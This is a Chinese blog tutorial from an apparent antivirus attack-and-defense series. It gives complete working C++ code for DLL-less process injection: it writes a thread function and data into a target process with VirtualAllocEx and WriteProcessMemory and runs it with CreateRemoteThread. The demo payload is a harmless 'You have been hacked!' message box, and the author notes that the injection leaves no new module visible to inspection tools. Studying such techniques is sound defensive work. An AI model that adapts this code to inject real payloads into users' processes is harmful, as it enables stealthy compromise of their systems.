一般来说,想要将自己编写的程序注入到其它进程中,是必须要使用DLL文件的,这种方法已经在上一篇文章中讨论过了。但是事实上,可以不依赖于DLL文件来实现注入的。只不过这种方法不具有通用性,没有DLL注入那样灵活,因为它需要把代码写入“注入程序”中,一旦想要注入的内容发生了变化,就需要重写整个“注入程序”。而不像DLL注入那样,只要修改DLL程序即可。即便如此,无DLL进行注入的方式,也是一种值得讨论的方法。
在注入与卸载方面,无论是否有DLL文件,都是需要让远程线程执行LoadLibrary()或者FreeLibrary(),都是需要使用WriteProcessMemory()函数,不同的的是,无DLL注入是要把代码直接写入目标进程的。
我们如果想在目标进程中实现我们的目的,就需要找到相关的API函数。Kernel32.dll文件在每个进程中的地址都是一样的,但是这样不代表其它的DLL文件在每个进程中的地址都一样。如此一来,就需要在目标进程中找到想要使用的API函数的地址。而获取API函数的地址所要使用的函数是LoadLibrary()以及GetProcAddress(),在目标进程中,利用这两个函数就可以获取任何一个想要使用的API函数的地址了。把想要使用的API函数及API所在的DLL都封装到一个结构体中,直接写入到目标进程的空间中,或者直接把要在远程执行的代码写入到目标进程空间中,然后使用CreateRemoteThread()运行即可。
这次的程序依旧使用MFC制作,界面比上一次还要简单,只需要在对话框上添加一个“Static Text”、一个“Edit Box”和一个“Button”即可,如下图所示:
图1 界面的设计
#define STRLEN 40 typedef struct _DATA { DWORD dwLoadLibrary; DWORD dwGetProcAddress; DWORD dwGetModuleHandle; DWORD dwGetModuleFileName; char User32Dll[STRLEN]; char MessageBox[STRLEN]; char Text[STRLEN]; char Caption[STRLEN]; }DATA, *PDATA;
结构体中保存了LoadLibraryA()、GetProcAddress()、GetModuleHandle()以及GetModuleFileName()这四个函数的地址。它们都属于Kernel32.dll,因此可以提前提取。User32Dll保存“User32.dll”字符串,因为我们用于病毒模拟的对话框函数——MessageBoxA()就存在于User32.dll中。而Text和Caption则分别表示对话框的内容以及标题。
接下来编写注入代码:void CNoDllInjectDlg::InjectCode(DWORD dwPid) { //利用PID值,获取欲注入的进程句柄 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid); if ( hProcess == NULL ) { AfxMessageBox("进程打开失败!"); return ; } DATA Data = { 0 }; //获取欲使用的API函数的句柄 Data.dwLoadLibrary = (DWORD)GetProcAddress( GetModuleHandle("kernel32.dll"), "LoadLibraryA"); Data.dwGetProcAddress = (DWORD)GetProcAddress( GetModuleHandle("kernel32.dll"), "GetProcAddress"); Data.dwGetModuleHandle = (DWORD)GetProcAddress( GetModuleHandle("kernel32.dll"), "GetModuleHandleA"); Data.dwGetModuleFileName = (DWORD)GetProcAddress( GetModuleHandleA("kernel32.dll"), "GetModuleFileNameA"); //对话框定义 lstrcpy(Data.User32Dll, "user32.dll"); lstrcpy(Data.MessageBox, "MessageBoxA"); lstrcpy(Data.Text, "You have been hacked! (by J.Y.)"); lstrcpy(Data.Caption, "Warning"); //申请数据结构的内存空间 LPVOID lpData = VirtualAllocEx(hProcess, //process to allocate memory NULL, //desired starting address sizeof(DATA), //size of region to allocate MEM_COMMIT | MEM_RESERVE, //type of allocation PAGE_READWRITE); //type of access protection if(lpData == NULL) { AfxMessageBox("申请数据区域失败!"); CloseHandle(hProcess); return; } DWORD dwWriteNum = 0; if (!WriteProcessMemory(hProcess,lpData,&Data,sizeof(DATA),&dwWriteNum)) { AfxMessageBox("数据结构写入进程失败!"); //失败就释放原先申请的内存区域,撤销内存页的提交状态 VirtualFreeEx(hProcess, lpData, sizeof(DATA), MEM_DECOMMIT); CloseHandle(hProcess); return; } //申请线程函数的内存空间 DWORD dwFunSize = 0x2000; LPVOID lpCode = VirtualAllocEx(hProcess, NULL, dwFunSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if(lpCode == NULL) { AfxMessageBox("申请函数区域失败!"); //失败就释放原先申请的内存区域 撤销内存页的提交状态 VirtualFreeEx(hProcess, lpCode, dwFunSize, MEM_DECOMMIT); CloseHandle(hProcess); return; } if (!WriteProcessMemory(hProcess,lpCode,RemoteThreadProc,dwFunSize,&dwWriteNum)) { AfxMessageBox("线程函数写入进程失败!"); //失败就释放原先申请的内存区域,撤销内存页的提交状态 VirtualFreeEx(hProcess, lpData, sizeof(DATA), MEM_DECOMMIT); VirtualFreeEx(hProcess, lpCode, dwFunSize, MEM_DECOMMIT); CloseHandle(hProcess); return; } HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpCode, lpData, 0, NULL); if (hRemoteThread == NULL) { AfxMessageBox("创建远程线程失败!"); //释放原先申请的内存区域,撤销内存页的提交状态 VirtualFreeEx(hProcess, lpData, sizeof(DATA), MEM_DECOMMIT); VirtualFreeEx(hProcess, lpCode, dwFunSize, MEM_DECOMMIT); CloseHandle(hProcess); return; } AfxMessageBox("成功注入!"); //等待线程退出 WaitForSingleObject(hRemoteThread, INFINITE); //释放原先申请的内存区域,撤销内存页的提交状态 VirtualFreeEx(hProcess, lpData, sizeof(DATA), MEM_DECOMMIT); VirtualFreeEx(hProcess, lpCode, dwFunSize, MEM_DECOMMIT); CloseHandle(hRemoteThread); CloseHandle(hProcess); }
上述代码稍长,但事实上,它的原理还是非常简单的,这里我依旧每一步都要判断是否执行成功,若是执行失败,则要释放掉之前所申请的资源。所以上述代码还是非常简单的。
卸载代码和注入代码没什么差别,关键是要把线程函数也写入目标进程中,这样在使用CreateRemoteThread()时,直接给出线程函数在目标进程中的地址即可。
线程函数的代码如下:DWORD WINAPI RemoteThreadProc(LPVOID lpParam) { PDATA pData = (PDATA)lpParam; // 定义API函数原型 HMODULE (__stdcall *MyLoadLibrary)(LPCTSTR); FARPROC (__stdcall *MyGetProcAddress)(HMODULE, LPCSTR); HMODULE (__stdcall *MyGetModuleHandle)(LPCTSTR); int (__stdcall *MyMessageBox)(HWND, LPCTSTR, LPCTSTR, UINT); DWORD (__stdcall *MyGetModuleFileName)(HMODULE, LPTSTR, DWORD); MyLoadLibrary = (HMODULE (__stdcall *)(LPCTSTR))pData->dwLoadLibrary; MyGetProcAddress = (FARPROC (__stdcall *)(HMODULE,LPCSTR))pData->dwGetProcAddress; MyGetModuleHandle = (HMODULE (__stdcall *)(LPCSTR))pData->dwGetModuleHandle; MyGetModuleFileName = (DWORD (__stdcall *)(HMODULE,LPTSTR,DWORD nSize))pData->dwGetModuleFileName; HMODULE hModule = MyLoadLibrary(pData->User32Dll); MyMessageBox = (int (__stdcall *)(HWND,LPCTSTR,LPCTSTR,UINT)) MyGetProcAddress(hModule, pData->MessageBox); char szModuleName[MAX_PATH] = { 0 }; MyGetModuleFileName(NULL, szModuleName, MAX_PATH); MyMessageBox(0, pData->Text, pData->Caption, 0); return 0; }线程函数的代码稍显复杂,但事实上这些都是基本知识,不再赘述。然后编写“注入”按钮事件:
void CNoDllInjectDlg::OnBtnInject() { // TODO: Add your control notification handler code here DWORD dwPid = GetDlgItemInt(IDC_EDIT_PID, FALSE, FALSE); InjectCode(dwPid); }最后在NoDllInjectDlg.h文件中加入:
void InjectCode(DWORD dwPid);
至此,所有代码编写完毕,经实际测试可行(Release版),效果与上一篇文章所论述的情况是相同的。
如果以Debug方式编译,VC++会在程序中加入很多与调试相关的内容,而这些内容的地址是相对于当前进程的地址,这些代码到了别的进程就有可能会出错。因此这里应该使用Release方式编译,因为Release方式编译不会由于插入与调试相关的代码而导致注入的代码到别的进程会出错。
另外,如果采用无DLL的注入方式,那么用“冰刃”来查看所注入代码的进程的模块信息,注入前后,模块的数量是不会有任何变化的,只是在DLL注入的时候,模块数量才会增加。所以针对于这种无DLL的注入方式,想要结束注入,那么只要直接关闭用于注入程序就可以了。比如本例,注入后弹出对话框,那么此时直接结束“NoDllInject.exe”的进程,对话框也就关闭了,说明注入失效。
反病毒攻防研究第011篇:DLL注入(下)——无DLL的注入
原文地址:http://blog.csdn.net/ioio_jy/article/details/39476927